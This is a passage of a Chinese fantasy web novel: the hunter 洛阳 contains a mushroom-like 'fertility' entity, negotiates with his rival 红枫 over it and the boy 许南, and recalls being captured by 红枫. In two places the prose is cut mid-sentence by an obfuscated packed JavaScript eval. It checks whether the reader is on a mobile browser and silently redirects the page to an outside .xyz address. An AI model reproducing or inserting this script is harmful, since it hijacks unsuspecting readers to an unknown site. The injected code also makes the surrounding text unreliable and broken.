洛阳一声令下,其他人便迅速分开,黄金鸟却没有离开,而是摇头晃脑地跳着脚,头上的小王冠跟着一颠一颠的,像只毛绒球般圆润地滚了过来,又蓬松地啄了啄洛阳的手,示意他摸摸它的羽毛。 “别撒娇。”洛阳弹了弹它的小脑袋:“这件事还没有处理完呢,幻相世界正在崩塌,白芷,你找到许南了吗?” 幻相世界是基于现实而生,却又会反过来影响现实的奇异空间,用通俗一点的说法来说,这就像是所有人一起做的一场大梦,但若是洛阳没有阻止,在幻相中许南真正完成了孕育的过程,获得了新生,并以‘繁育’之力降世,作为信徒的他并将重现在医院内所发生的一切:所有人都会沦为‘子嗣’的巢穴,无论男女,都在苦痛中沦为母体,即使其他人出手阻止,也必定会有无数无辜的人因此身亡。 但至少现在,这一切都没有发生。 黄金鸟落在他的掌心,羽如赤金,小小的王冠像是融进了太阳的光辉与热度,以至于可以轻易将万物点燃。它用小眼睛凝视着洛阳,与其像是鸟,更像是个过度蓬松的毛球摆件,它突然开口说话:“你太宽容了,洛阳。” “你对于这些罪犯,对于这些滥用力量的人,太宽容了。” 洛阳说:“哈,我可不这么觉得。” 他望着周围的这一切:“若是我们没有阻止他,没有及时剥离他和‘繁育’的联系,那么他可能真的会酿下大祸,像一个没有人可以限制、也没有人可以制止的恶童一般,把自己周围的一切都撕扯成碎片。” 洛阳说:“如果那样的事真的发生,那么我会杀了他,并把他的一部分带回去研究;但现在,这只是我对他的警告。” 洛阳望着手中的黄金鸟,他看似不近人情,却不会在犯人尚未犯下真正的恶行前,便宣告他罪无可恕,实际上,只要将繁育从许南体内剥离,那么对方也就没有了能够霍乱一切的能力,自然也再做不了这些。 洛阳站在缓慢瓦解的医院之中,轻声说道:“真正的罪魁祸首,是入侵了我们的世界,像个肆无忌惮的疯子一样,散播灾难和瘟疫,看着世界因此而混乱的‘白相’。” “父亲死前留下的遗愿,就是希望我可以代替他完成他的梦想。”洛阳说:“很快了……白芷,我快要找到祂了,很快,这些事就会结束。” “到那个时候,你会愿意跟我一起去吗?”洛阳看向掌心中的小鸟,像是在透过它望着自己的挚友,也是唯一可以完全交付信任,一同作战的同伴,他们并肩作战了这么多年,白芷理所当然的不会拒绝他的邀请。而正如洛阳所预料的那样,黄金鸟只是抬起小脑袋,用一种近乎凝视的、眼不错珠的眼神望着他,片刻后,白芷的声音从其中传出: “当然。” “当然,我亲爱的小太阳。”白芷的声音温和:“带我去寻找希望吧。” 他的声音中透出了无限的希冀,仿佛和洛阳一般,同样期待着那一天的到来,希冀着和他一起实现梦想,宛如洛阳此时正化为无垠大海上唯一的灯塔,他正如一轮太阳一般散发出温暖的光辉,在无尽的永夜,与近乎无望的旅行中,洛阳所象征的希望便是他前进的唯一方向,也是这场旅途的终点。 片刻后,其他人急匆匆的赶了过来,示意洛阳他们已经找到了躲起来的‘繁育’本体,但他们没有抓到它,因为繁育的力量难以阻挡,除了极少数人外,只要是被其感染的人或物,都会在极短的时间内畸变成某种怪物,这甚至会比‘子嗣’的下场更加凄惨,因为你并不知道繁育会导致你畸变成什么东西,而你也不知道那种情况下的你,是否还能保留一丝一毫作为人类的神智。 但幸运的是,察觉到信徒被洛阳剥离的小蘑菇此时像个被拔了牙的老虎,只记得蹲在角落里瑟瑟发抖,这是每一个繁育因子性格所导致的不同,它的前任更加狞恶嚣张,不像它似的,看见洛阳的身影,就只记得慌张的跑。 此时此刻的小蘑菇就蹲在墙根的深处,只露出一个圆滚滚的伞盖,那肥美柔软的蘑菇盖泛着一股漂亮的白色,上方的蔚蓝光斑时不时地扭动,宛如海中映射而出的光波。薄兴就站在它的面前盯着它,看见那朵小蘑菇打着颤,他咬着牙,眼神直勾勾的,看着就像是很想上去踩一脚。 这就是导致他……咳,二次中奖的罪魁祸首。 薄兴很想找机会公报私仇,但是繁育并不是看上去那么无害的东西,很显然,它只是畏惧洛阳而已。 但即使如此,薄兴的目光也显得蠢蠢欲动,在他终于忍不住,似乎是想要上去一脚踩爆那可恶的蘑菇时,洛阳的身影从后方出现了,看见这一幕,洛阳的声音传来:“别去触碰它。” 男人手中握着斧头,懒洋洋地说:“作为‘繁育’一部分化身的它,伪装成这幅样子,也只是为了引诱猎物上前而已。” 在这一瞬间,蘑菇似乎永远也无法停止的颤抖顷刻间凝滞住了,它拔腿就要跑,洛阳手中的斧头却横空飞去,就那样刚刚好挡住了它的去路。 “叽!!”小蘑菇浑身都炸了毛似的,它连忙转过身想要从另外一个方向逃,洛阳的脚却已经踩在了它的身后,小蘑菇抬起脑袋,就看见这所有人中它唯一畏惧的存在正似笑非笑地看着它。 “叽!”小蘑菇穷凶极恶地发出了战斗的声音,伞盖上蔚蓝色的色彩迅速转化为浓郁的黑色,点点深邃的黑点正从中溢出,化为某种极恶的黑水,它正想扑到洛阳的身上,却突然听见一声清脆的鸟啼,它连伞盖下的触手都僵硬住了,一只戴着小王冠的黄金鸟正蹲在洛阳的肩膀上,以一种如同俯视尘埃的眼神望着下方的繁育。 “叽……” 小蘑菇的触须都软软地垂了下来,从炸了毛似的浑身警惕,再到后面的放弃挣扎,最后,在洛阳诧异的目光下,它居然将下半身软软地弯了下来,将触手团在一起,犹如作作揖似的,对着洛阳的方向很人性化地拜了拜,又拜了拜。 “叽……”小蘑菇发出软软的声音,洛阳还是第一次见到这么没有骨气的怪物,他说:“你这是在给大家拜早年吗?” “现在知道求饶啦。”洛阳没有放过它的意思,不管对方有多么软弱可怜的求饶,也拿出了特制的收容罐,对准小蘑菇,趁这个机会将它直接抓了起来。 “嘭!嘭!”被收容进玻璃罐的小蘑菇终于暴露出了它狰狞的一面,它化为了一团粘稠柔软,混合着黑水的菌丝团,在玻璃罐里不断弹动,时不时发出狰狞的怒吼,洛阳却并未在意它的愤怒,而是弹了弹玻璃,笑道:“果然长得很丑,这才是你的原貌吧。” ‘繁育’隔着屏幕狠狠咬他,却险些磕到了牙,它终于意识到它的无能为力,缓缓变回了蘑菇的形态,蹲在玻璃罐内最远离阳光的黑暗处,在墙角当蘑菇去了。 “小太阳,”白芷的声音传来,他说:“我找到许南了。” 而伴随着他的这句话,这栋如同在数年的蚕食中被菌群覆盖侵蚀,下半部分完全矗立在菌丝的包裹中,远远望去,仿佛漆黑的蛛网般以它为中心不断延伸的医院也在某种力量的作用下彻底瓦解,地面上凌乱的尸体、化为黑水的子嗣们也逐渐消散,如一个转醒的梦一般,随着‘繁育’力量被不断剥离,而彻底破碎开来。 陆亭睁开眼,从梦中惊醒。 他的呼吸急促,眼瞳收缩,下意识地去抚摸自己的肚子,神经质般地抚摸着,当意识到自己的肚子上除了一层柔软的赘肉以外没有其他东西,也没有什么高挺的肚子、孕腹或者什么会操控人的菌丝的时候,陆亭瘫软在床上,从喉咙里吐出一口气。 真是见了鬼了! 他想。 他怎么会做这样一个梦:会做这样一个类似于他怀上了孩子,然后在三个月内就大了肚子,到医院生产,在惶恐不安里只能选择接受现实,最后上网搜索了半天资料,选择给自己的孩子织条围巾的梦。 ……刚生下来的小孩能戴个屁的围巾! 陆亭挠了挠头,意识到这其中的不合理性后,他才缓缓松了口气,果然是梦啊,因为是梦,所以才如此荒诞,又因为是梦,所以毫无逻辑,也没有任何的合理性。 陆亭站起身,他看了一眼时间,准备给自己做蛋炒饭,他顺路去叫醒另外一个房间的许南,男人敲了敲门:“许南,起床了。” 奇怪的是,许南一向起的比他早,也不知道这小子这两天怎么回事,总是奇奇怪怪的,问他愿不愿意当他的亲人。 是应该找个机会,想办法找找福利院,或者去找找许南的爸爸,他虽然暂时收留了许南,但许南的爸妈还在,而且他自己还年轻,也没有办法收养一个这么大的孩子。 只是,许南妈妈这么虐待他,他父亲却从来没有出现过,看样子也不是什么好东西。 陆亭又敲了敲门。 “许南,你该起床了。”他对着门说了一声之后,就准备自己先去准备早饭,但在这个点,楼下却已经传来了敲门声,陆亭有些疑惑,他刚准备走过去看看怎么回事,却听见门口传来的男声说道: “开门,许南,我们知道你在。”薄兴站在门前,用力敲着门:“别以为剥离了‘繁育’的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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普通人是无法铭记繁育的姿态的,于是即使是在梦中无比清晰的一切,醒来后也会变得混乱,且无法追寻。 洛阳说:“好了,不开玩笑了,我让薄兴他们去找他,然后把他请过来。” 洛阳翻开手边的资料,他说:“他的母亲在多年间对他实施精神和物理虐待,她之前堕过很多次胎,并用同样的手段溺死了自己的孩子,她当然也尝试过这样对付许南,但却被其他人阻止了。”洛阳继续说:“而许南的父亲则不在乎他的死活。” 洛阳微微皱起眉,他将手里的资料扔在一边,给自己点燃一根烟:“我不是情感专家,我也不是什么律师,所以我会把这件事交给其他人,许南不会再留在那里,他曾经是繁育的信徒。” 洛阳的指尖夹着烟,他的手指形状很漂亮,指尖修长,掌心和指腹都有着一层厚茧,手背和手腕上都有着道道伤疤,像是珍宝上斑驳的痕迹,他说:“总而言之,他的母亲会失去他的抚养权,至于其他的东西,就看许南自己怎么想。” 洛阳对这些事并不感兴趣,就像他说的,他只是过来处理‘繁育’的,事后的善后自然会有其他人处理,他之所以会注意到许南,归根结底,还是因为一个这么小的孩子竟然成为了繁育的信徒,这几乎是不可能发生的事。 而不可能,就意味着其中可能有着某种阴谋,洛阳一边思索一边开车,这样的驾驶方式,很危险。 “你还可以招募他,让他成为你的手下。”突如其来的,一道略显低沉,犹如琴弦拨动的声线在洛阳的耳边响起,白芷的声音突然中断了,取而代之的,是一道突兀地插入其中,散发着低沉噪音的不和谐音符。 洛阳略微一怔,下一秒,他将车稳稳地停了下来,驶进无人的小巷里。 他坐在车内,嘴边叼着的烟慢慢燃烧,一缕缕的烟火宛如白雾飞起,所产生的漩涡却在那道的波动下变得杂乱无章,在空中荡出阵阵涟漪。后视镜中映出洛阳锋利的眉眼,他的目光像一把刀,似乎足以将所望见的所有人或物刺穿。 “好久不见,我亲爱的洛阳。” 一道声音从后方传来,空无一人的后座突兀地出现了一道过于高挑的身影,他的体型异于常人,手上戴着一双暗红色的皮质手套犹如雾中映射而出的最清晰色彩,与同样赤红的长发交相辉映,宛如火山上喷涌而出,在大地上连绵的赤红岩浆,又似秋日树冠映出的沉沉赤色。 他双腿交叠地坐着,漫不经心地抚摸着自己的手杖,他的面容模糊,但即使是透过这朦胧的影像,也似乎可以从中窥探到一张即使失真也显得惊心动魄的面孔。 这漂亮的庞然大物不知何时坐在洛阳的身后,对他很轻地笑了起来: “你想我了吗?” 7. 四季之旅7 悦耳的声音带着一丝暗哑在耳边回响,从身后传来了一股若有若无的威胁感,洛阳却没有回头,即使他知道只要对方愿意,那么他的到来甚至可以轻易导致整座城市在极短的时间内陷入混乱。 但洛阳知道他不会也不可能这么做,因为对方的梦想并不是毁灭世界,亦或是造成什么混乱和破坏,而是创造一个富有秩序的,为他所掌握的世界。 所以在某种程度上,洛阳和对方——红枫,在某些时候甚至会为了共同的利益和目的互相帮助,却也会在下一秒因同样的利益和目的互相厮杀。 他们之间的关系更像是宿敌:若是有一天红枫从洛阳的世界里消失,那么洛阳或许不会再烦恼他如同幽魂般驻守在他的身边,给他带来不大不小的麻烦;亦或是失去了对方带来的部分便利,例如红枫所掌握的权柄和力量,这固然会有些许影响,但没有红枫,对洛阳来说更加重要。 他是一个不稳定的不安全份子。 “洛阳,你找到了‘繁育’的因子。”红枫张口呼唤着洛阳的名字,他双手交叠,大衣的一圈袖口摆动时,便映出层层缂丝所制的枫叶纹路,在黑暗中也反射出金丝般的绚烂光华。 他轻笑着说:“看来我这次又晚来了一步。” 洛阳侧过脸,装着‘繁育’的箱子就在他的右手边,隐约可见小蘑菇的半张伞盖,像缝隙间一闪而过的异色花纹。他把手里的烟弹了弹,说道:“这是我的战利品。” 他警告红枫不要乱打主意,男人听到他的话,似乎是有些无奈地叹了口气:“上一次,我在捕捉‘乐蛊’因子的时候,你横插一脚冲入幻相世界,从我手下的手中抢走了那颗因子;上上次,我的部下在勘探的过程中正好撞上了你在执行任务,他们的计划已经进行到了最后一步,你却捷足先登,将那颗因子缴获。” 红枫的声音宛如海妖的歌喉般,每说一句话,便有一种成熟、厚重的触感迎面而来,宛如丰饶的蜜酒灌入旁观者的喉咙,使丰沛的甜蜜过盛,以至于酿出浓密的欲望,勾得人心隐隐发颤。 但即使是这样控诉的话,却也仍然没有办法让洛阳的心里生出一丝波澜,他犹如老僧入定,面无表情地说:“天哪,我真是好坏、好无耻、好过分啊。” 他说:“那你去报警吧。” 红枫:“……” 他噗嗤一下笑了,以至于露出森白的牙齿:“我怎么敢去那么做呢?更何况,若是你入狱了,那么肆虐的因子和幻相该谁来处理,我还需要你啊,亲爱的。” 他慢慢探出半个身体,只稍微向前移动了一寸,洛阳就感觉脊背发凉,一股难以形容的威胁感犹如一具蛰伏的恶兽般从后方传来,红枫嘴上说着甜言蜜语,身上身上散发出的气息却是明晃晃的凶恶,那道虚影将手中的拐杖挑起,越过洛阳的身体,就那样径直落在了繁育的箱子上。 “我有一个不情之请。”红枫说:“不知道你有没有兴趣听一听呢?” 洛阳低下头看了一眼,他说:“当然有,无论你说什么,我都是愿意听的。” 红枫有些惊喜,他说:“真的吗?” 洛阳一巴掌把他的权杖拍开,他说:“在你死后的墓志铭上写明的所有愿望,我都会认真看过,并用心记录。” “毕竟,这个世界上最烦人的混账终于死了。”洛阳说:“作为你的宿敌,我当然应该拿着酒杯去你的坟前喝一杯,再看看你这家伙会在上面写什么乱七八糟的东西。” 红枫沉默了,空气似乎都在这一刻凝固下来,黑暗之中,那漂亮的庞然大物就在洛阳的身后,他的手套反射出血一般的光泽,似乎只需要伸出手,就可以扼住洛阳的喉咙,亦或是叫面前的人和周围的一切都在怒火中消散。 但红枫、这个野心家、不择手段的疯子和玩弄人心的恶人却只是愣了一瞬,随后,他用吃惊的语气说: “你愿意参加我的葬礼。” 洛阳:“……” 红枫说:“你还愿意来我的坟前和我说话……” 洛阳:“……” 红枫:“哦,这可真是让我惊喜,我的意思是,你爱我,洛阳。” 洛阳面无表情地打开车门,车外传来了类似于干呕的声音,过了一会,洛阳面无表情地重新上了车,他真的要被红枫整崩溃了,他宁愿去面对穷凶极恶的怪物和在幻相世界内为祸世人的各色因子,他也不要再面对身后的那个家伙! 洛阳说:“好吧,你赢了,说说你这次来的目的。” 红枫说:“我想要你手里的繁育因子。” 洛阳说:“不可能。”他狐疑地看着红枫,揣测着他的意图,突然感到一阵恶寒:“你知道这东西的作用,你居然想要这东西,恕我直言,这一次的繁育比起上一届来说简直是一文不值。”听见他的话,箱子里的小蘑菇发出了生气的嗡嗡声,洛阳瞥了它一眼,毫不客气地说:“吵死了。” 繁育忍了,见此,洛阳又补充道:“你看,它这么废物,你居然想要它?” 还是说,红枫和许南一样,也突发奇想,想要给自己找一位新的母亲和新的家庭? 红枫说:“开个价吧。” 他这一幅样子让洛阳真的迟疑起来,他随口说:“一个亿。” 红枫挑了挑眉,他说:“两个小时。”他温和地说:“我的部下很快就会赶过来和你对接,我希望你可以在这段时间内稍作等待……” “等等,这只是随口开的价,我没有要真的和你交易。”洛阳被红枫的速度震惊了,他诧异地看着面前的人,说:“你知道我不可能把这东西给你,我也不可能让你拿着这玩意祸害其他人!” “亲爱的,你这么提防我,让我感觉很受伤。”红枫敲了敲手中的手杖,他说:“我以如此诚切的态度来对待你,将你当做我的友人相待,你却从头到尾都没有任何合作的意思。” 他的声音暗哑:“我做了什么,才让你这么对待我呢?” “你还有脸说这些?你居然真的敢说这句话。”洛阳很震惊,非常非常的震惊,他说:“不提你做的那些丧心病狂的混账事,就在五年前,你差点催眠了我!” 听他提起这件事,红枫挑了挑眉,他的声音莫名低了一些:“是啊,本来在那个时候,你就应该成为我最亲近的朋友了,真是可惜。” “你不仅没有任何愧疚,甚至还在暗地里策划了其他事情,不止一次地针对我。”洛阳说:“现在,你来问我,我为什么要用这种态度对待你?” 红枫摩挲着下巴,他很诚切地思索着自己的所作所为,最终,男人低叹一声,轻轻地说:“可是,那些关于催眠你、狩猎你、针对你的所有计划,都没有成功啊。” 洛阳瞠目结舌,看着红枫以一种极其无辜的语气说道:“你怎么可以以我没有做到的事,来审判我的罪行呢?” 洛阳微微垂下眼睛,以一种无法形容的眼神望着面前的人,而红枫则只是以暗哑的笑来回应他,那模糊的笑容让他仿佛看见了一具浑身浴血的恶兽,正在远处向他投来深邃的凝视,若放在许多年前,洛阳的回应或许会是愤怒而失控的,他会用武力驱逐对方,亦或是斥责他的疯狂和无耻,怒斥对方是个毫无道德、也毫无人性的疯子。 但他现在不会了。 因为他不能以红枫不存在的东西来伤害他:哪怕这家伙有一丝丝的羞愧,红枫都不会这样出现在他的面前,以这样的口吻提起当初的一切。 他手中的烟即将燃尽,洛阳干脆将烟头按在一旁碾碎。他说:“我不会把繁育给你。” 他的语气平静,却只有毫无余地的冷酷,没有任何商量的余地。无论红枫究竟想要做些什么,他的回答都只有一个:“现在,滚出我的车。” 红枫说:“哪怕我和你之间的交谈,有十次中的八次,都是以你对我的斥驳为收场,但剩下五分之一的概率,也足够我来继续这段对话了。”他说:“既然你不愿退步,那么我便换一个要求如何:繁育的宿主,那个叫做许南的孩子,也可以作为这次交换的一环。” 洛阳刚刚还显得只是冷酷的表情变了,他仅仅只是轻轻扯了扯嘴角,表情没有太大变化,便有一种难言的怒色从他的眉眼间逸散开来,让洛阳的气质火辣,宛如即将燃烧的烈火,他说:“你以为他是什么东西?物品?” “亲爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893510|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,没错,他是个人。”红枫说:“我无法决定他的去留,你也无法决定。” 红枫说:“既然如此,那他又为什么一定要选择你,而不是选择其他的道路呢?” 洛阳说:“怎么选?一个正常人都知道,是去重新上学、步入正常的生活和成为一个不择手段的、想要把整个世界改造成想象中乌托邦的疯子的手下,哪个才是正常的选择。” 红枫在这个时候突然停顿了下来,他似乎是一瞬的诧异:“上学。” “你想让他去重新上学?” 洛阳奇怪地望着他,他狐疑地说:“他才十几岁,不去上学,还能做些什么?” “我以为像你我这样的人,都会明白,我们的能力不应该浪费在这些按部就班的庸俗经历上……”红枫说着他的想法,却被洛阳从中打断,他说:“不,上学。” “他应该去上课,回到正常的生活里。”洛阳说:“上学很好。” “和一群同龄人打闹、聊天,生活里唯一的烦恼是学习和学业的压力,散发青春期的荷尔蒙,和一群同样只知道胡闹的小子疯玩。”洛阳说:“我知道有些人永远不会怀念这段时光,但这是人生的一部分。” “别用那种眼神看着我,我知道十几岁就去幻相世界和怪物厮杀是什么感觉。”洛阳耸了耸肩:“那可一点都不有趣。” 听到他的话,有那么一瞬间,红枫的目光变了,他的眸光微闪,用一种难以言喻的,令人感到恶心的眼神看着洛阳,那目光几乎是有一丝怜惜的,洛阳瞬间明白了过来,他有些恶寒,幸好,红枫在下一刻收回了那种视线,他握着手中的手杖,他对洛阳有一丝怜惜,却不会将这份感情转移到其他人身上,所以在对待许南事,他的态度仍然是如此残忍。 红枫说:“但这就是他的命运。”他说:“除此之外,他还能过上什么普通的生活呢?” 看见他这幅样子,洛阳心中的唯一一个想法,就是把自己的鞋印印在那张脸上,即使红枫现在可能压根就不在这里,甚至在另外一个国家。 “我可以和你做另外一个交易。”红枫说:“你可以从我所持有的因子库内,选择其中一个同级别的因子作为交换,而我则取走繁育。” 想了想,他又加上一个条件:“我不会再对许南动手,并且,我还可以告诉你一个小小的秘密。” 对比最开始的态度,他现在的样子,几乎称得上善心大发了,洛阳有些诧异地看着面前的人,就害怕这又是一个稀奇古怪的陷阱,亦或是对方给他挖的又一个坑,但红枫只是静静地凝视着他,有那么一瞬间,他一动不动的样子,近乎像一尊只是凝望,却让人毛骨悚然的邪异雕像。 迟疑了一瞬,洛阳想到一个他早就需要,却始终无法从红枫那里夺走的因子,他说:“包括‘时间’?” 红枫的唇轻轻扯了扯,不知道为什么,他像是早就知晓洛阳会索要这个,他说:“包括‘时间’。” 洛阳双手抱肩,这个姿势显得他胸前更饱满了,他说:“见了鬼了,你现在这幅样子,看上去倒顺眼了点。” 红枫说:“亲爱的,我什么时候骗过你呢?” “好吧。”洛阳耸了耸肩,他说:“为了表现你的诚意,跟我说说你知道的那个秘密。” “这是预付款吗?”红枫诧异:“你要我现在就说给你听吗?” “随你怎么想,在我看来,这是以你的信用所需要预支付的代价。” 红枫眨了眨眼,他宽容地笑了笑,示意洛阳伏身过来,洛阳犹如了一瞬,他缓缓贴了过去,下一秒,男人血色的长舌便舔过了他的耳垂,并小小地撕咬着他的耳朵。 又黏又湿的质感传来,洛阳刚想要勃然大怒,他便停顿下来,听着红枫含着他的耳垂,古怪地说:“你亲爱的挚友曾经来到了我的实验室,夺走了我的实验品。”红枫说:“那是我刚刚获得的一级因子,我猜测,那个因子应该不在你的收容所内。” “这就是我的诚意,亲爱的。”红枫缓缓后退,他的身影犹如褪色一般,在刹那间便消散地无影无踪,只在空中留下一闪而过的枫叶纹路:“记住我们的交易。” 8. 四季之旅8 红枫的身影消失了,但他说的话仍然停留在洛阳的脑中,让洛阳无法确认他说的究竟是真是假。 他独自一人坐在车上,又点燃了一根烟,却只是任由它在手中燃尽,片刻后,洛阳垂下眼睛,眼眸微闪,之前和洛阳断开的白芷也重新联系上了他,哒哒的敲窗声突然响起,在洛阳的注视下,一只黄金鸟飞在高中,在人群中精准无比地找到了这辆车,并落在了车窗边缘,用喙敲击着窗户,洛阳拉下窗门让它飞了进来,小鸟像只毛茸茸的毛坨球般在车内上蹿下跳,在后座、洛阳的肩膀上停留了好一会,最后盯住了男人微红的耳朵,用喙气鼓鼓地啄着。 狭隘的空间内顿时塞满了清脆的啾啾声,洛阳不堪其扰,伸出一只邪恶的大手把它一把捉住,黄金鸟躺在他的掌心,询问他:“那家伙对你说了什么?” 洛阳用手指挠它的小脑袋,他并没有第一时间回到,而是说:“他盯上了许南,你们那边有没有遇到什么状况。” 白芷的声音很平静:“有人突然插手,但之后又撤离了,似乎有人受了些轻伤。”他迅速地说完这番话后,便对其他人的遭遇没有任何关心了,而是追问道:“你还没有回答我的问题。” 黄金鸟不满地用喙去啄洛阳的手指,长喙尖尖的,但是力度很轻,不疼。 洛阳说:“这倒是说来有趣:他对我说了你的坏话。”洛阳的声音拉长:“他说,你是一个偷了他东西的贼。” 在他的手上,黄金鸟仍然软软地打着滚,浑身上下透出一股被人类手指抚摸时的快活劲,粘人的可怕,但听到洛阳的话后,小鸟浑身的羽毛都在一瞬间炸了起来,它一张开嘴,就发出一连串的啾啾声,叫得人头晕眼花,连头都要发昏了。 “他真的是这么说的?”白芷愣了一瞬,随后,他发出一声低沉的嗤笑,男人并没有急着为自己辩驳,而是先提高嗓音,对着那个恬不知耻的疯子极其刻薄的挖苦道:“我倒是没有想过,有朝一日,连红枫那个时时刻刻都在思索着如何从别人手中偷走珍贵宝物的小偷,都能说出这番贼喊捉贼的话了。” 洛阳眨了眨眼,他说:“这么说,是他偷了你的东西?” 白芷的声音停顿了一瞬,黄金鸟的眼眸盯着面前的男人,一眨不眨的瞳孔中只映出了一人的身影,像是凝视着整个世界最珍贵的东西。 你。 白芷在心中说道,他正是那个时时刻刻都在暗地里窥探你我,用觊觎的目光盯着你,妄想从我手里偷走你的贼啊。 “他是一个不择手段的疯子。”白芷轻声说:“你会相信他吗?洛阳。” 洛阳瞥过脸望了他一眼,男人的唇边勾起一抹淡淡的笑,他说:“你说得对,白芷,我也是这么想的。” 在他们交谈的过程中,洛阳回想起了和红枫的初遇,如他所言,那是五年前的一个夜晚,彼时的洛阳还是个年轻却又莽撞的猎人,整日忙碌于与各色怪物的战争中,在幻相世界内来回奔波,他强大、敏锐,且不畏凶险,以这样的能力在众多猎人中脱颖而出,成为所有人中的最佼佼者,所有人都在注视着他,并期待他可以给大家带来更多的惊喜,而在这样的赞颂中,洛阳的自信和狂妄以最危险的形态膨胀起来,而他的优秀也自然引来了其他人的关注。 于是,有一天,洛阳孤身一人遇到了一场最凶恶、也最可怖的伏击,那是针对于他的陷阱,他以极敏锐的直觉避开了最开始的袭击,却在之后撞见了红枫本人的束缚,在那场战斗中,他败了,败得无力反抗,也无法挣扎。 某种程度上来说,红枫便是在用自己的手段来以大欺小,他以残酷的方式捕获了这落入陷阱的猎人,就仿佛用蛛网擒住了一只展翅欲飞,自由翱翔的蝴蝶,年轻的洛阳陷入巨网之中,手脚都被死死束缚,他的发丝凌乱,被注入毒素的身体柔软无力,陷入了昏迷。 他就这样被猩红的丝线包裹,垂在巨茧的中心,双眼闭合,柔韧有力的四肢被牢牢擒住,宛如陷入沉睡的人偶般,白皙的脸颊上染着一丝血痕。 他的面容俊美帅气,发丝蓬松柔软,因陷入沉睡,使得洛阳平日里散发出的肃杀之意蛰伏,透出一股淡淡的软意。正在此时,巨网的主人缓缓出现,一道悦耳的声音也如蜜一般灌入他的耳中,那声音的主人望着他的样子,似乎想要伸手捏住他的下巴,像在观赏自己捕捉到的珍兽。 “你究竟是听了谁的命令,才这样莽撞、凶狠,不顾自己的安危,以至于掉入陷阱?”一只玉白的手微微抬起他的下巴,居高临下地望着他:“他是给你喂了什么魔药吗?才让你这样心甘情愿地奉献自我?” 没人回答他,洛阳静静地沉睡着,片刻后,那只手松开他,窸窸窣窣的声音传来,洛阳便要从巨茧内被放出来,他的呼吸在那一瞬乱了,没有任何预兆,刚刚还显得那样乖巧的梦中人便突然睁开了双眼,狡黠的神色在他眸中一闪而过,接着,怒意和杀意便汹涌而上,宛如一把利剑般斩开了空气。 洛阳落在地上,身体虚弱的他刚刚积攒着力气,居然在这个时候发起了突袭,猝不及防之下,守在他前方的东西被吓了一跳似的,发出了奇异的嗡嗡声,洛阳也来不及看自己偷袭的成果,而是拼着这一口气便转身掉头就跑。 但他还没有来得及跑出一步,一大团喷出的蛛网便兜头落在了他的身上,黏糊糊的让刚刚醒来的人偶顿时被粘在了原地,哎哟!他的身体一软,蛛网上的麻痹毒素便通过肌肤渗透进了洛阳的身体里,男人头晕眼花,刚刚还显得格外凶狠的人手脚软软的,就这样倒在了地上,眼睛里都出现了大片大片的重影。 咔哒咔哒的奇异声响和不紧不慢的脚步声一同向着他的方向走了过来,洛阳的手臂软软,连手指尖都抬不起来,他愤愤地用力挣扎了一下后,才皱着眉一摊手,泄了气似的倒在那里,对着来人说道:“好吧,你赢了,无论你想对我做什么,现在我都拿你没有办法了!” “但我的话说在前头,我的父亲是一定会来找我的,你要是不想遇到麻烦,那么只要现在放走我,我倒是还可以……”洛阳恶声恶气的威胁说到一半忽的停顿了下来,下一秒,他的眼眸都诧异地瞪大了些,看着面前这导致他变成现在这幅样子的罪魁祸首——我的老天爷啊,这是什么从电影里跑出来的怪物,又或者是幻相世界里逃逸的东西吗? 在洛阳的面前,一只格外大的、大的几乎有如半个成人大小的血红蜘蛛,正站在他的面前,用几双红宝石般的眼睛狠狠地盯着他,它长得太大了,长相却并不令人厌恶,反而透出一股精致的漂亮,腹部上覆盖着一层红红的绒毛,远远望去,几乎散发出丝绸般的质感。 但即使它长得再怎么好看,这也是一只巨型雄蜘蛛,它此时正恼怒地张开前方的两对节肢,前方的螯肢也威慑性的、几近可能地张大,毒腺蠢蠢欲动,剧毒的汁液在口中来回穿梭,像是会随时给洛阳来上一口。 而随着它的动作,仔细一看,在它的腹部处正有一道刚刚留下的伤痕,几乎将它的身体劈开,也难怪它会如此恼怒。洛阳眨了眨眼睛,勉强回过了神,眼神略过这不断恐吓猎物却始终没给他来上一口的蜘蛛,他的目光落在了站在另外一边的男人身上,洛阳眨了眨眼睛,迟疑地说:“你是红枫?” 一头红发的男人含笑点头,即使他戴着一张红丝所缀的奇异面具,让男人的面容只朦胧地露出一角,但那股扑面而来的邪异气息落到洛阳眼中的那一瞬间,他也无比清晰的意识到面前的人是谁,并绝望地收回了之前的所有威胁。 洛阳叹了口气,他说:“如果我想的没错,你就是冲着我的养父来的,对吧?” “不,你错了。”红枫开口,他说:“我是为了你而来的,洛阳。” 这比洛阳之前的猜测,更加让他绝望。 还不待他多说什么,红枫轻轻打了个响指,洛阳便如再次被握住了操控线的人偶般当场昏死了过去,再次醒来时,他正躺在床上,手脚都被猩红的丝线束缚,屋内的装潢华美精致,却被无处不在的红线缭绕,而在壁纸和家具上,都印刻着枫叶的图案,洛阳睁开眼睛,手脚发软,身体昏沉无力,还未来得及完全回过神,便被一只手擒住了下巴,往口中灌入了腥臭难言的汤汁。 “呜……咳……” 他的眼瞳瞪大了些,手脚竭力地挣扎起来,但却只是在红枫的怀里打了个滚似的,对方正从背后将他抱在怀里,见到他醒来,也并未说话,而是牢牢擒住他的腰,将那一口药汤尽数灌了进去。 他不能喝下这个!洛阳的神经紧绷,无论如何,都意识到这是他有生以来遇到的最惊险的危机,红枫低低地笑着,并不在意怀中人偶的微弱反抗,在他的坚持下,洛阳最后还是饮尽了那一碗汤汁,他垂下头低咳着,前所未有的狼狈,眼眸却仍然是亮的、愤怒的。 